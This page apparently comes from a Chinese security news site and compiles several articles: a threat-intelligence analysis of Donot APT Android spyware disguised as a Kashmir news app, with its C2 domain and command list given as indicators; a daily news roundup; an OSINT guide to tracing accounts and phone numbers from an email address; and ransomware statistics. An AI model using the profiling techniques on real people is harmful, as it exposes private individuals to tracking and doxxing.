近期,随着印巴在克什米尔地区(Kashmir)冲突的不断升级,具有南亚背景的APT团伙纷纷采用该地区冲突相关信息作为诱饵针对巴基斯坦进行攻击活动。奇安信威胁情报中心刚曝光了摩诃草在PC端利用克什米尔相关信息为诱饵的攻击活动[1],同样具有南亚背景的Donot APT组织也不甘示弱开始展开其在移动端的攻击火力。奇安信红雨滴团队在捕获Donot移动端新样本的第一时间便对其进行了披露。

样本信息

文件名称 KNS Lite
软件名称 KNS Lite
软件包名 com.newlite.sapp
MD5 497A67D28058A781681F20E32B7B3D6A
安装图标

诱饵分析

此次发现的Donot新样本通过仿冒Kashmir News Service(克什米尔新闻服务)的APP“KNS”,诱骗用户安装使用。

克什米尔新闻服务公司KNS是查谟和克什米尔的第一家在线新闻机构,成立于2002年1月,现已成为该州首屈一指,可信赖的双语,英语和乌尔都语新闻机构。

近期,印巴两军在克什米尔军事对峙线附近再度爆发了摩擦战,根据巴方披露的消息,本次交战已造成3名巴基斯坦士兵和5名印军士兵死亡。而随着克什米尔局势的“循环上升”,全世界的焦点无疑都集中在“克什米尔”,因此Donot新的诱饵通过仿冒Kashmir News Service(克什米尔新闻服务)其目的显而易见。

诱饵APP图标:

样本运行截图:

Google商城正版APP截图:

Kashmir News Service(克什米尔新闻服务)官网截图:

样本分析

样本行为描述

此次新发现的Donot样本,其在代码结构上并没有过多的改变,恶意代码功能方面也没有增加额外的功能。而与以往的不同之处,在于对诱饵文件的“包装”以及恶意APP的功能完整性方面的“用心”。

恶意APP运行以后,并没有以往的隐藏自身图标,而是通过仿冒Kashmir News Service(克什米尔新闻服务)展现给用户一个完整的新闻APP功能,从而达到欺骗用户放心使用,更加安全的保存了自身。

样本运行以后会在后台,通过最新服务端(mangasiso.top)下发15种远控指令,其远控操作有:获取用户手机通话记录信息、获取用户手机通讯录信息、获取用户手机短信息、获取外置存储卡文件列表信息、获取WiFi、设备厂商等信息、获取用户地理位置信息、获取用户手机已安装软件列表等。

远控指令列表:

指令下发服务器 指令 指令功能
      mangasiso.top Call 获取用户手机通话记录信息
CT 获取用户手机通讯录信息
SMS 获取用户手机短信息
Key 获取App输入的内容信息
Tree 获取外置存储卡文件列表信息
AC 获取Account信息
Net 获取WiFi、设备厂商等信息
CR 设置用户手机电话通话录音
LR 设定特定时间段录音
FS 文件上传开关
GP 获取地理位置信息
PK 获取用户手机已安装软件列表
BW 获取chrome书签列表
CE 获取日历事件信息
Wapp 获取whatsapp聊天信息

程序运行流程图:

详细代码分析

通过访问Kashmir News Service(克什米尔新闻服务)官方新闻链接,诱骗用户:

加载Youtube新闻视频,进一步伪装自己:

通过服务端(mangasiso.top)下发15种远控指令,对用户手机进行后台操控,获取用户手机信息:

获取控制指令:

远控指令:

指令“Call”:获取用户手机通话记录信息:

指令“CT”:获取用户手机通讯录信息:

指令“SMS”:获取用户手机短信息:

指令“Key”:获取App输入的内容信息:

指令“Tree”:获取外置存储卡文件列表信息:

指令“AC”:获取Account信息:

指令“Net”:获取WiFi、设备厂商等信息:

指令“CR”:设置用户手机电话通话录音:

指令“LR”:设定特定时间段录音:

指令“FS”:文件上传开关:

指令“GP”:获取地理位置信息:

指令“PK”:获取用户手机已安装软件列表:

指令“CE”:获取日历事件信息:

指令“Wapp”:获取whatsapp聊天信息:

获取到的部分信息进行上传:

同源分析及代码变迁

经过我们对于Donot的持续跟踪与研究,每当巴以政治局势紧张的时候,Donot便会异常的活跃,仅2019年我们发现,Donot在移动端已进行三次改变,不论是框架结构、代码功能、伪装方式都进行了一系列的变迁。

2019年红雨滴团队Donot跟踪历史

红雨滴团队在今年陆续发现并公布了Donot团伙所使用的一系列数字武器:

Donot代码结构演变

Donot原始代码结构:

Donot StealJob结构:

本次Donot代码结构:

总结

Donot APT组织(APT-C-35)自2017年被奇安信威胁情报中心披露后[2],一直高度活跃,并且持续升级自己的武器库,从最初的EHDevel框架到yty框架,从PC端到移动端,都展示了该组织的高持续性与高技术性。奇安信威胁情报中心红雨滴团队将持续保持对该团伙的高度跟踪。

目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC等,都已经支持对此类攻击的精确检测。

IOC

诱饵APK MD5:

497A67D28058A781681F20E32B7B3D6A

C2地址:

mangasiso.top

参考链接

[1]https://ti.qianxin.com/blog/articles/capricorn-gang-uses-public-platform-to-distribute-c&c-configuration-attacks/

[2]https://ti.qianxin.com/blog/articles/pakistan-targeted-apt-campaign/

[3]https://ti.qianxin.com/blog/articles/donot-gang-mobile-new-attack-framework-tool-analysis/

[4]https://ti.qianxin.com/blog/articles/stealjob-new-android-malware-used-by-donot-apt-group/

*本文作者:奇安信威胁情报中心,转载请注明来自FreeBuf.COM

原文阅读

FreeBuf早报 | Microsoft网络钓鱼页面利用JavaScript发送虚假登录;沙特IT企业供应链可能成为Tortoiseshell集团的攻击目标;爬虫技术公司被查引行业反思,消费金融平台风控再造
Sandra1432 2019-9-19 1:0 转存

FreeBuf早报,安全圈值得关注的每日大事件

【全球动态】

1.盖特威克机场确认在登机处使用面部识别技术

据外媒报道,盖特威克机场成为了英国首个确认将在乘客登机前使用人脸识别摄像头进行身份验证的机场。去年,它曾跟易捷航空合作进行过一次自助登机试验。这个伦敦机场表示,这项技术将能减少排队时间,但旅客仍需携带护照。[阅读原文]

2.尤金·卡巴斯基:从网络安全到网络免疫,让黑客攻击成本更高

在过去的二十多年里,卡巴斯基实验室在帮助人们预防计算机病毒上,已经走了很长一段路。尤金列举了这样一组数据:20年前每天可能只检测到50个新病毒,10年前大概有14500个,现在每天能收集38万个,并且数量还在增加。[阅读原文]

3.杭州市70余部门接入阿里城市大脑,日增8000万条数据

杭州市和阿里巴巴合力打造城市大脑,每天有来自全市70余个部门和企业的数据汇入了城市大脑,日均新增数据达到了8000万条以上,包括警务、交通、城管、文旅、卫健等11大系统、48个应用场景,给老百姓的生活带来方方面面的新变化。[阅读原文]

4.高盛前程序员针对十多年前盗窃代码被捕案上诉

9月18日早间消息,高盛前程序员谢尔盖·阿莱尼科夫(Sergey Aleynikov)十多年前层因涉嫌为跳槽后的雇主提供高盛的计算机代码而被捕,但他至今仍在努力推翻当初的定罪。[阅读原文]

5.Microsoft网络钓鱼页面使用JavaScript发送虚假登录

近日,已发现Microsoft帐户网络钓鱼诈骗的新登录页面,该网页利用SmtpJS服务通过电子邮件将窃取的凭据发送给攻击者。用户打开看似正常的登录页面随后提示用户凭证不正确,当用户在此类网络钓鱼诈骗中提交凭据时,该页面通常会将其保存到数据库以便以后检索,或者使用后端脚本将其发送给攻击者。[外刊-阅读原文]

6.向美国纳税人发出退税邮件,实则为Amadey僵尸网络恶意软件

最近发现了一项网络钓鱼活动,通过虚假的所得税退税电子邮件向美国的纳税人发送Amadey僵尸网络恶意软件。Amadey近期出现不久,但是多个组织已经使用它来删除受感染计算机上的二级恶意软件。之前看到它是由RIG漏洞利用工具包发布的。[外刊-阅读原文]

7.爬虫技术公司被查引行业反思,消费金融平台风控再造

近日,多家通过爬虫技术开展大数据信贷风控的公司被查,主要原因是他们涉嫌采取违规手段过度获取用户大量隐私信息,并将这些数据信息转卖给其他机构获利。因此,不少互联网消费金融平台正着手自建借款人数据获取渠道、并完善大数据风控体系,而不再向第三方风控技术输出平台采购“数据”。[阅读原文]

【安全事件】

1.Mozilla Firefox 69.0.1发布:修复诸多BUG

Mozilla发布了Firefox 69的首个维护版本更新。在最新的Firefox 69.0.1中,重点解决了安全方面的问题,但是目前官方并未公布具体是哪方面的安全问题。本次更新阻止“在Firefox点击链接来加载的时候让外部程序在后台启动”的问题。[阅读原文]

2.Smominru挖矿僵尸网络利用恶意软件进行网络战

Smominru是一种易受攻击的恶意软件,它使用EternalBlue漏洞进行传播,并强制使用RDP,MSSQL,Telnet和其他公开的服务。Smominru挖矿僵尸网络不仅通过安装密码器,而且还窃取凭证,安装后门以及进行可能影响受感染机器正常运行的系统配置修改,继续破坏公司设备上的破坏。[外刊-阅读原文]

3.警告:研究人员删除影响所有版本的phpMyAdmin零日漏洞

一位网络安全研究人员最近在phpMyAdmin中发布了一个未修补的零日漏洞的详细信息和概念验证。phpMyAdmin是管理MySQL和MariaDB数据库的最流行的应用程序之一。该漏洞声称是一个跨站点请求伪造(CSRF)漏洞。[外刊-阅读原文]

4.沙特IT企业供应链可能成为Tortoiseshell集团的攻击目标

赛门铁克的研究人员发现了11家IT公司,其中大部分位于沙特阿拉伯,受到名为Tortoiseshell集团的打击。打击目标在于IT公司的供应链。该组织正在使用自定义和现成的恶意软件,自2018年7月以来一直活跃。他们的武器装备的独特组成部分是Backdoor Syskit,它是用Delphi和.NET开发的。[外刊-阅读原文]

5.‘Panda’攻击者使用RAT,Crypto-Miners赚取数千美元

思科Talos威胁情报和研究小组透露,一名新的威胁攻击者使用远程访问工具(RAT)和非法加密货币挖掘恶意软件(Crypto-Miners)在Monero加密货币中盗取了数千美元。Talos称之为Panda,虽然不是非常老练,非常活跃,专注于持续开发全球易受攻击的网络应用程序。Panda的工具允许它在网络中来去自如,而RAT的使用也使组织面临数据被盗的风险。[外刊- 阅读原文]

6.Skidmap Linux 挖掘器利用内核模式rootkit来逃避检测

Skidmap是趋势科技检测到的针对Linux机器的新型加密挖掘器,它使用内核模式rootkit来逃避检测。这种恶意软件优于同类的挖掘器,因为它加载恶意内核模块以逃避检测。[阅读原文]

【优质文章】

1.新型盗刷手段并不新,现在丢钱都不敢丢手机了

如今,智能手机在我们日常生活中扮演着越来越重要的角色,也逐渐顺其自然地承载着越来越多的关于你、关于你的家人、关于你的生活点滴的信息,这些甚至已经超出了手机本身,甚至是作为机主的你控制范围。[阅读原文]

2.用Windows打造自己精简便捷的渗透工具集

因为工作原因对公司上线的web系统进行测试,所以需要经常用到burp、sqlmap、dirb(支持目录递归)等工具,每次打开kali虚拟机这个占用20G磁盘4G内存的重量级工具,就用其中两三款用完再关,磁盘IO要反应老半天,于是我想到把常用的工具搬到win下来。[阅读原文]

3.还原乌克兰与俄罗斯的电力系统网络交战过程

纵观乌克兰的发展历史,在乌克兰境内发生的网络战争在世界范围内独树一帜,无论是国内反对派的网络攻击,或是邻国的网络攻击,均在不间断的进行中,据外媒报道,乌克兰已经沦为俄罗斯的网络战试验场。[阅读原文]

*本文内容收集自全球范围内的媒体与刊物,制作者对其完整性负责,但不对其真实性和有效性负责。

*标注为【外刊】的内容主要来源为英语国家的媒体与刊物,部分内容需要注册免费账号后方可阅读。

原文阅读

一个邮箱账号的展开式
scu-igroup 2019-9-19 1:0 转存

引言:

开源情报收集往往都是通过一个邮箱账号展开,那么仅通过一个邮箱账号,能查询到哪些信息呢。本文中,拟介绍一些专业的开源情报收集工具以及最新的开源情报方面的研究成果,来探索通过一个邮箱账号所能发现的信息。

正文:

当我们拿到一个邮箱,想要开展进一步的信息收集。最容易想到的方法就是到百度或Google进行搜索,然后排查搜索结果。这是作为普通人都能做到的最基础检索。但作为开源情报收集工作者,有没有更多的方法能够获得更多的信息呢。下面我将一一介绍其他能够对邮箱账号进行排查的工具。

1.OSINT Support提供的两款chrome插件

a. 邮箱反查LinkedIn账号

工具下载:https://osint.support/

安装好chrome插件后,需先登陆一个可用的LinkedIn账户,然后再插件框中数据待查邮箱账号,即可获得该邮箱注册的LinkedIn ProfileId和用户名。如下图。

b. 邮箱反查facebook账号

工具下载:https://osint.support/

操作流程跟LinkIn类似,但只能获取到Profile ID。

也许这是你会有个疑问,获取Profile ID有什么用?

在浏览器中输入URL : https://facebook.com/ProfileID, 则直接可以访问到对方主页。

 2.Buster工具使用

工具地址:https://github.com/sham00n/buster

Buster是一款先进的OSINT工具,它的功能包括

使用多个来源获取电子邮件的社交帐户(gravatar,about.me,myspace,skype,github,linkedin,以前的漏洞)

使用google,twitter,darksearch 获取指向发送电子邮件的位置的链接

获取电子邮件简要信息

获取使用电子邮件注册的域名(反向whois)

生成可能的人的电子邮件和用户名

查找社交媒体帐户的电子邮件

从用户名中查找电子邮件

查找使用的人的工作电子邮件

安装方式:

git clonegit://github.com/sham00n/buster $ cd buster/ $ python3 setup.pyinstall $ buster -h

安装好工具后,墙内用户需要翻墙才能使用该工具。

使用命令:

buster -e

执行结果:

从图中可以看出,该账户注册过spotify,instagram,twitter;在Accounts中,可以看到它在各网站的账户。

3.通过邮箱账户猜测手机账号

该方法是前不久一位开源情报工作者提出的方法,具体可以参考:

https://www.martinvigo.com/email2phonenumber/

该方法的核心思想是:

1. 利用一些网站的密码重置功能,通过邮箱重置时会暴露几位手机号;

 

2.利用手机号组成规则,进一步推测手机号位数

3.最后,遍历所有可能手机号,同样通过手机号重置密码,会暴露邮箱账号,通过比对邮箱账号,确定手机号。

作者最后将这套方法,形成了一套自动的工具。

见:https://github.com/martinvigo/email2phonenumber

该工具目前之针对美国的用户,其他国家的,还需按照这套思路改一下程序。

这套工具也具有局限性:

1. 要求用户在某网站上既绑定了邮箱也绑定了手机号;

2. 要求密码重置功能会直接暴露出一些手机号位数;

3. 不能支持非美国国家的用户。

总结

开源情报收集不但要灵活掌握一些专业的工具,同时,要建立起一套信息收集的科学思维。当然,关于邮箱能获取的信息,还有一些其他的方法,这里就不再赘述。另外,关于开源情报收集方面的更多的咨询,大家可以关注这个知识星球,开源网络空间情报。最后,多说一句,开源情报收集在近几年逐渐成为一个专业方向,其中的科学收集思维和方法引人入胜,值得大家持续关注与研究。

参考资料:

1.https://osint.support/

2.https://github.com/sham00n/buster

3.https://www.martinvigo.com/email2phonenumber/

4. https://t.zsxq.com/qRnEIMz

*本文作者:scu-igroup,转载请注明来自FreeBuf.COM

原文阅读

网络犯罪分子采取新策略,勒索软件增长超118%
kirazhou 2019-9-19 0:0 转存

McAfee Labs在2019第一季度的最新威胁报告中称,平均每分钟在网络空间发现504个新的威胁,而伴随着犯罪分子采取新的策略和代码创新,勒索软件正在不断复苏。

这一季度,地下网络犯罪分子盗取了超过22亿个账户凭证。68%的目标攻击利用鱼叉式网络钓鱼进行初始访问,77%则依靠用户操作来执行。

0000000000.jpg

“这些威胁的影响是非常真实的,”McAfee研究员和首席科学家Raj Samani说。“某些类型的攻击的增加或减少只能说明故事的一小部分。事实上,每次感染背后可能是一个处理停机的企业,或者是一个面临严重欺诈的无辜消费者。我们不能忘记,每一次网络攻击都要付出的惨重的人为代价。

勒索软件复苏

McAfee高级威胁研究观察到勒索软件活动中的创新:初始访问向量,活动管理和代码中的技术都发生了变化。

虽然鱼叉式网络钓鱼仍然很受欢迎,但勒索软件攻击越来越多地针对暴露的远程访问点,例如远程桌面协议(RDP);这些证书可以通过蛮力攻击破解或在其它地下网络犯罪分子手上购买。RDP凭据可用于获取管理员权限,授予在公司网络上分发和执行恶意软件的完全权限。

McAfee的研究人员还观察到勒索软件攻击者使用匿名电子邮件服务来管理他们的活动,而不是传统的建立指挥控制(C2)服务器的方法。主要是因为当局和私人合作伙伴就经常寻找C2服务器以获取解密密钥,并创建规避工具。因此,攻击者认为,使用电子邮件服务是一种匿名性更好的适合进行犯罪活动的方法。

这个季度最活跃的勒索软件家族似乎是Dharm(也称为crysis)、GandCrab和Ryuk。而其他值得注意的勒索软件家族包括在广泛传播之前被McAfee Advanced Threat Research曝光的Anatova,以及经常发现新变种的持续流行勒索软件家族Scarab。总体来说,新的勒索软件样本增加了118%。

McAfee首席科学家兼高级首席工程师Christiaan Beek表示:“在2018年底新的勒索家族数量和新开发项目周期性减少后,2019年第一季度再次出现勒索软件,还出现了代码创新和更具针对性的新方法。赎金支付会鼓励犯罪企业并使攻击永久化。但是勒索软件的受害者还有其他选择,比如可以通过No More Ransom等获得解密工具和攻击信息。”

111111111111111.jpg

2019年第一季度威胁活动

攻击向量

以恶意软件为首的公开攻击载体,然后是帐户劫持和有针对性的攻击。

加密采矿

新的恶意挖矿软件增加了29%。McAfee ATR观察到CookieMiner恶意软件针对Apple用户,试图获取比特币钱包凭据。此外,该恶意软件还可以访问密码和浏览数据。过去四个季度,恶意挖矿软件样本总数增长了414%。

无文件恶意软件

新的JavaScript恶意软件下降了13%,而过去四个季度的恶意软件总数增长了62%。由于使用了下载程序脚本,新的PowerShell恶意软件增加了460%。在过去四个季度中,恶意软件总数增长了76%。

物联网

网络犯罪分子继续利用物联网设备的安全漏洞。新的恶意软件样本增加了10%;在过去的四个季度中,物联网恶意软件总数增长了154%。

整体恶意软件

新的恶意软件样本增加了35%。新的Mac OS恶意软件样本下降了33%。

移动恶意软件

新的移动恶意软件样本下降了15%,过去四个季度的恶意软件总数增长了29%。

安全事件

McAfee Labs统计了412起公开披露的安全事件,比第四季度增加了20%。所有公开披露的安全事件中有32%发生在美洲,其次是欧洲的13%和亚太地区的13%。

区域目标

已披露的针对亚太地区的安全事件增加了126%,美洲下降了近3%,而欧洲下降了近2%。

垂直行业活动

已披露的影响个人的安全事件飙升了78%,教育部门增长50%,医疗保健增长18%,公共部门减少10%,金融部门增长89%。

针对性的攻击

McAfee确定了大量的活动,有效地减少了成功执行攻击所需的数据侦察。攻击组织主要关注政府/行政部门的大型组织,其次是金融,化学,国防和教育部门。68%的攻击中使用鱼叉式钓鱼获得了初始访问权限,77%的攻击依赖于特定用户操作执行。

地下网络犯罪

Q1季度,地下网络犯罪分子盗取了超过22亿个账户凭证。最大的黑市Dream Market以大量DDoS攻击为由宣布关闭计划。执法部门成功查获并关闭了xDedic的业务,xDedic是最大的RDP商店之一,据报道该商店出售大约70,000台黑客机器。

*参考来源:helpnetsecurity,kirazhou编译整理,转载请注明来自 FreeBuf.COM

原文阅读

本站作者

每日荐书

在不完美的世界力求正常——读《公司的坏话》

书名:《公司的坏话》

作者:李天田(脱不花妹妹)

出版社:北京大学出版社

赞助商

广告